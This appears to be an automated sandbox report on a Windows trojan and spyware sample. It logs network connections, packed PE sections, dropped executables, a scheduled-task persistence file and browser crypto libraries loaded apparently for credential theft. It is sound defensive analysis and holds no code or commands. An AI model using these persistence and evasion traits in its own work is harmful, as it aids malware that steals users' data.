Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56439
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56434
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56443
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56446
Source: unknown	Network traffic detected: HTTP traffic on port 56437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56453
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56450
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56459
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56455
Source: unknown	Network traffic detected: HTTP traffic on port 56459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56457
Source: unknown	Network traffic detected: HTTP traffic on port 56436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56462
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56460
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56466
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 56447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56407
Source: unknown	Network traffic detected: HTTP traffic on port 56412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56403
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56419
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56417
Source: unknown	Network traffic detected: HTTP traffic on port 56413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56420
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56421
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56432
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56446 -> 443

Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.21:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:56453 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name:
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: 7b950b2da4.exe.28.dr	Static PE information: section name:
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: .rsrc
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: .idata
Source: 7b950b2da4.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsEHJKJDGCGD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6ECD0	0_2_6CB6ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0ECC0	0_2_6CB0ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEAC30	0_2_6CBEAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD6C00	0_2_6CBD6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1AC60	0_2_6CB1AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14DB0	0_2_6CB14DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9CDC0	0_2_6CC9CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6D90	0_2_6CBA6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3AD50	0_2_6CC3AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDED70	0_2_6CBDED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC98D20	0_2_6CC98D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96E90	0_2_6CB96E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1AEC0	0_2_6CB1AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB0EC0	0_2_6CBB0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0E20	0_2_6CBF0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAEE70	0_2_6CBAEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1EFB0	0_2_6CB1EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEEFF0	0_2_6CBEEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10FE0	0_2_6CB10FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58FB0	0_2_6CC58FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16F10	0_2_6CB16F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD2F70	0_2_6CBD2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC50F20	0_2_6CC50F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7EF40	0_2_6CB7EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC168E0	0_2_6CC168E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60820	0_2_6CB60820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A820	0_2_6CB9A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4840	0_2_6CBE4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD09B0	0_2_6CBD09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA09A0	0_2_6CBA09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCA9A0	0_2_6CBCA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2C9E0	0_2_6CC2C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB449F0	0_2_6CB449F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66900	0_2_6CB66900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB48960	0_2_6CB48960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EA80	0_2_6CB8EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC8A30	0_2_6CBC8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBEA00	0_2_6CBBEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8CA70	0_2_6CB8CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB0BA0	0_2_6CBB0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16BE0	0_2_6CC16BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A480	0_2_6CC3A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB564D0	0_2_6CB564D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA4D0	0_2_6CBAA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A430	0_2_6CB9A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB74420	0_2_6CB74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28460	0_2_6CB28460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB045B0	0_2_6CB045B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9E5F0	0_2_6CB9E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDA5E0	0_2_6CBDA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14540	0_2_6CC14540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58550	0_2_6CC58550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB0570	0_2_6CBB0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB72560	0_2_6CB72560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68540	0_2_6CB68540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6E6E0	0_2_6CB6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAE6E0	0_2_6CBAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB346D0	0_2_6CB346D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6C650	0_2_6CB6C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3A7D0	0_2_6CB3A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90700	0_2_6CB90700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB200B0	0_2_6CB200B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC0B0	0_2_6CBEC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB08090	0_2_6CB08090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD8010	0_2_6CBD8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC000	0_2_6CBDC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5E070	0_2_6CB5E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB101E0	0_2_6CB101E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86130	0_2_6CB86130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4130	0_2_6CBF4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78140	0_2_6CB78140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC962C0	0_2_6CC962C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE2B0	0_2_6CBDE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE22A0	0_2_6CBE22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8220	0_2_6CBE8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDA210	0_2_6CBDA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98260	0_2_6CB98260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8250	0_2_6CBA8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6E3B0	0_2_6CB6E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB423A0	0_2_6CB423A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB643E0	0_2_6CB643E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82320	0_2_6CB82320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2C360	0_2_6CC2C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC52370	0_2_6CC52370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB12370	0_2_6CB12370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6370	0_2_6CBA6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18340	0_2_6CB18340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4DCD0	0_2_6CC4DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAFC80	0_2_6CBAFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD1CE0	0_2_6CBD1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB21C30	0_2_6CB21C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC39C40	0_2_6CC39C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB13C40	0_2_6CB13C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB03D80	0_2_6CB03D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC59D90	0_2_6CC59D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE1DC0	0_2_6CBE1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB73D00	0_2_6CB73D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB33EC0	0_2_6CB33EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC95E60	0_2_6CC95E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6BE70	0_2_6CC6BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1DE10	0_2_6CC1DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2DFC0	0_2_6CC2DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC93FC0	0_2_6CC93FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB31F90	0_2_6CB31F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBBFF0	0_2_6CBBBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05F30	0_2_6CB05F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB45F20	0_2_6CB45F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC67F20	0_2_6CC67F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6B8F0	0_2_6CC6B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEF8F0	0_2_6CBEF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D8E0	0_2_6CB1D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB438E0	0_2_6CB438E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAF8C0	0_2_6CBAF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6D810	0_2_6CB6D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE1990	0_2_6CBE1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB21980	0_2_6CB21980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB759F0	0_2_6CB759F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA79F0	0_2_6CBA79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB499D0	0_2_6CB499D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA99C0	0_2_6CBA99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5920	0_2_6CBC5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5F900	0_2_6CC5F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8F960	0_2_6CB8F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCD960	0_2_6CBCD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEDAB0	0_2_6CBEDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB11AE0	0_2_6CB11AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC99A50	0_2_6CC99A50
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00378860	28_2_00378860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00377049	28_2_00377049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_003778BB	28_2_003778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00372D10	28_2_00372D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_003731A8	28_2_003731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00334DE0	28_2_00334DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00367F36	28_2_00367F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00334B30	28_2_00334B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0037779B	28_2_0037779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC49F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC9DAE0 appears 65 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB39B10 appears 87 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC9D930 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC909D0 appears 287 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB33620 appears 75 times

Source: file.exe, 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2035439210.000000006FEA2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: rahtodek ZLIB complexity 0.9946841943533969
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: Section: eiflycbf ZLIB complexity 0.9949866278851919
Source: random[1].exe.0.dr	Static PE information: Section: syrofzst ZLIB complexity 0.9943471078856152
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: skotes.exe.23.dr	Static PE information: Section: eiflycbf ZLIB complexity 0.9949866278851919
Source: 7b950b2da4.exe.28.dr	Static PE information: Section: syrofzst ZLIB complexity 0.9943471078856152

Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/301@18/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB70300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CB70300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\W62122NZ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2340:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\edb18fc3-72c8-4359-a32d-aef1bf27b339.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
